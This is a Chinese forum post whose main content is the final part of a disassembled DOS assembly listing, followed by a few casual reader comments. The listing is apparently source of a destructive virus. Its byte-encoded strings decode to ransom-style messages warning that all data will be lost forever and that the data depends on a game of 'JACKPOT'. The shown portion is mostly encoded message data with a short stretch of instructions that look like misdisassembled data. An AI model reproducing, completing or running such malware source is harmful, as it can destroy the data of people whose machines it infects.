DB 84H, 84H, 84H, 84H, 84H, 0ACH

DB 0D3H, 0DBH, 0C9H, 0DAH, 0C9H, 0D6H

DB 90H, 84H, 0ADH, 84H, 0CCH, 0C5H

DB 0DAH, 0C9H, 84H, 0C5H, 84H, 0C7H

DB 0D3H, 0D4H, 0DDH, 84H, 0CDH, 0D2H

DB 84H, 0B6H, 0A5H, 0B1H, 90H, 84H

DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H

DB 0D1H, 84H, 0CBH, 0CDH, 0DAH, 0CDH

DB 0D2H, 0CBH, 84H, 0DDH, 0D3H, 0D9H

DB 84H, 0C5H, 84H, 0D0H, 0C5H, 0D7H

DB 0D8H, 84H, 0C7H, 0CCH, 0C5H, 0D2H

DB 0C7H, 0C9H, 6EH, 71H, 6DH, 6DH

DB 6DH, 0D8H, 0D3H, 84H, 0D6H, 0C9H

DB 0D7H, 0D8H, 0D3H, 0D6H, 0C9H, 84H

DB 0DDH, 0D3H, 0D9H, 0D6H, 84H, 0D4H

DB 0D6H, 0C9H, 0C7H, 0CDH, 0D3H, 0D9H

DB 0D7H, 84H, 0C8H, 0C5H, 0D8H, 0C5H

DB 92H, 6EH, 71H, 84H, 84H, 84H

DB 84H, 84H, 0BBH, 0A5H, 0B6H, 0B2H

DB 0ADH, 0B2H, 0ABH, 9EH, 84H, 0ADH

DB 0AAH, 84H, 0BDH, 0B3H, 0B9H, 84H

DB 0B6H, 0A9H, 0B7H, 0A9H, 0B8H, 84H

DB 0B2H, 0B3H, 0BBH, 90H, 84H, 0A5H

DB 0B0H, 0B0H, 84H, 0BDH, 0B3H, 0B9H

DB 0B6H, 84H, 0A8H, 0A5H, 0B8H, 0A5H

DB 84H, 0BBH, 0ADH, 0B0H, 0B0H, 84H

DB 0A6H, 0A9H, 84H, 0B0H, 0B3H, 0B7H

DB 0B8H, 84H, 91H, 84H, 0AAH, 0B3H

DB 0B6H, 0A9H, 0BAH, 0A9H, 0B6H, 84H

DB 85H, 85H, 6EH, 71H, 6DH, 6DH

DB 84H, 84H, 84H, 0BDH, 0D3H, 0D9H

DB 0D6H, 84H, 0A8H, 0C5H, 0D8H, 0C5H

DB 84H, 0C8H, 0C9H, 0D4H, 0C9H, 0D2H

DB 0C8H, 0D7H, 84H, 0D3H, 0D2H, 84H

DB 0C5H, 84H, 0CBH, 0C5H, 0D1H, 0C9H

DB 84H, 0D3H, 0CAH, 84H, 0AEH, 0A5H

DB 0A7H, 0AFH, 0B4H, 0B3H, 0B8H, 71H

DB 6EH, 71H, 6EH, 6DH, 6DH, 84H

DB 84H, 84H, 84H, 84H, 84H, 0A7H

DB 0A5H, 0B7H, 0ADH, 0B2H, 0B3H, 84H

DB 0A8H, 0A9H, 84H, 0B1H, 0A5H, 0B0H

DB 0B8H, 0A9H, 84H, 0AEH, 0A5H, 0A7H

DB 0AFH, 0B4H, 0B3H, 0B8H

DB ' ;nqnqmmm-1'

DB 1FH, 6DH, 2DH, 31H, 1FH, 6DH

DB 2DH, 31H, 1FH, 6EH, 71H, 6DH

DB 6DH, 6DH, 3BH, 0, 3BH, 6DH

DB 3BH, 0A3H, 3BH, 6DH, 3BH, 0FFH

DB ' ;;nqmmm,1 m,1 m,1 nqmmm'

DB 84H, 84H, 84H, 84H, 0A7H, 0B6H

DB 0A9H, 0A8H, 0ADH, 0B8H, 0B7H, 84H

DB 9EH, 84H, 99H

DB ' ;nqqnqnmmm'

DB 0, 0, 0, 84H, 0A1H, 84H

DB 0BDH, 0D3H, 0D9H, 0D6H, 84H, 0A8H

DB 0CDH, 0D7H, 0CFH, 6EH, 71H, 6DH

DB 6DH, 6DH, 0A3H, 0A3H, 0A3H, 84H

DB 0A1H, 84H, 0B1H, 0DDH, 84H, 0B4H

DB 0CCH, 0D3H, 0D2H, 0C9H, 84H, 0B2H

DB 0D3H, 92H, 6EH, 71H, 6EH, 71H

DB 6DH, 6DH, 6DH, 0A5H, 0B2H, 0BDH

DB 84H, 0AFH, 0A9H, 0BDH, 84H, 0B8H

DB 0B3H, 84H, 0B4H, 0B0H, 0A5H, 0BDH

DB ' ;qnqnqnqnqn'

DB 88H, 6EH, 71H, 0A6H, 0A5H, 0B7H

DB 0B8H, 0A5H, 0B6H, 0A8H, 84H, 85H

DB 84H, 0BDH, 0D3H, 0D9H, 0C4H, 0D6H

DB 0C9H, 84H, 0D0H, 0D9H, 0C7H, 0CFH

DB 0DDH, 84H, 0D8H, 0CCH, 0CDH, 0D7H

DB 84H, 0D8H, 0CDH, 0D1H, 0C9H, 84H

DB 91H, 84H, 0C6H, 0D9H, 0D8H, 84H

DB 0CAH, 0D3H, 0D6H, 84H, 0DDH, 0D3H

DB 0D9H, 0D6H, 84H, 0D3H, 0DBH, 0D2H

DB 84H, 0D7H, 0C5H, 0CFH, 0C9H, 90H

DB 84H, 0D2H, 0D3H, 0DBH, 6EH, 71H

DB 0B7H, 0BBH, 0ADH, 0B8H, 0A7H, 0ACH

DB 84H, 0B3H, 0AAH, 0AAH, 84H, 0BDH

DB 0B3H, 0B9H, 0B6H, 84H, 0A7H, 0B3H

DB 0B1H, 0B4H, 0B9H, 0B8H, 0A9H, 0B6H

DB 84H, 0A5H, 0B2H, 0A8H, 84H, 0A8H

DB 0B3H, 0B2H, 0C4H, 0B8H, 84H, 0B8H

DB 0B9H, 0B6H

LOC_42:

MOV DL,84H

LODSW ; String [si] to ax

MOV AX,0B384H

MOV DL,84H

MOV AX,0B0ADH

MOV AL,84H

MOV AX,0B1B3H

MOV BL,0B6H

MOV DH,0B3H

MOV BX,8584H

TEST AX,DS:DATA_33E[DI] ; (6AE6:716E=0)

MOV [BP+71H],CH

MOV DL,0D3H

TEST CH,[BP+SI-3827H]

IRET ; Interrupt return

DB 0CDH, 0D2H, 0C4H, 84H, 0A7H, 0CCH

DB 0C5H, 0D2H, 0C7H, 0C9H, 9FH, 84H

DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H

DB 0D1H, 84H, 0D4H, 0D9H, 0D2H, 0CDH

DB 0D7H, 0CCH, 0CDH, 0D2H, 0CBH, 84H

DB 0DDH, 0D3H, 0D9H, 84H, 0CAH, 0D3H

DB 0D6H, 84H, 0D8H, 0D6H, 0DDH, 0CDH

DB 0D2H, 0CBH, 84H, 0D8H, 0D3H, 84H

DB 0D8H, 0D6H, 0C5H, 0C7H, 0C9H, 84H

DB 0D1H, 0C9H, 84H, 0C8H, 0D3H, 0DBH

DB 0D2H, 84H, 85H, 88H, 6EH, 71H

DB 0ACH, 0A5H, 84H, 0ACH, 0A5H, 84H

DB 85H, 85H, 84H, 0BDH, 0D3H, 0D9H

DB 84H, 0C5H, 0D7H, 0D7H, 0CCH, 0D3H

DB 0D0H, 0C9H, 90H, 84H, 0DDH, 0D3H

DB 0D9H, 0C4H, 0DAH, 0C9H, 84H, 0D0H

DB 0D3H, 0D7H, 0D8H, 9EH, 84H, 0D7H

DB 0C5H, 0DDH, 84H, 0A6H, 0DDH, 0C9H

DB 84H, 0D8H, 0D3H, 84H, 0DDH, 0D3H

DB 0D9H, 0D6H, 84H, 0A6H, 0C5H, 0D0H

DB 0D0H, 0D7H, 84H, 92H, 92H, 92H

DB 6EH, 71H, 88H, 0CDH, 20H, 0

SEG_A ENDS

END START

----------------------------------------------------------

{:43_8920:}不能发asm文件,我只好这样了!

yunzl
有什么讲究没有
展开Biu

那一堆INC有什么讲究没有,为啥不用ADD

[查看全文]
xigua2014
翔太
总之就是各种跟内存对着干
展开Biu

总之就是各种跟内存对着干…?

[查看全文]
_JIan-KK
好复杂啊
展开Biu

我晕,好复杂啊,汇编只认识一个MOV。。。

[查看全文]
ZHANGQINGWOAINI
难得前排
展开Biu

难得前排

[查看全文]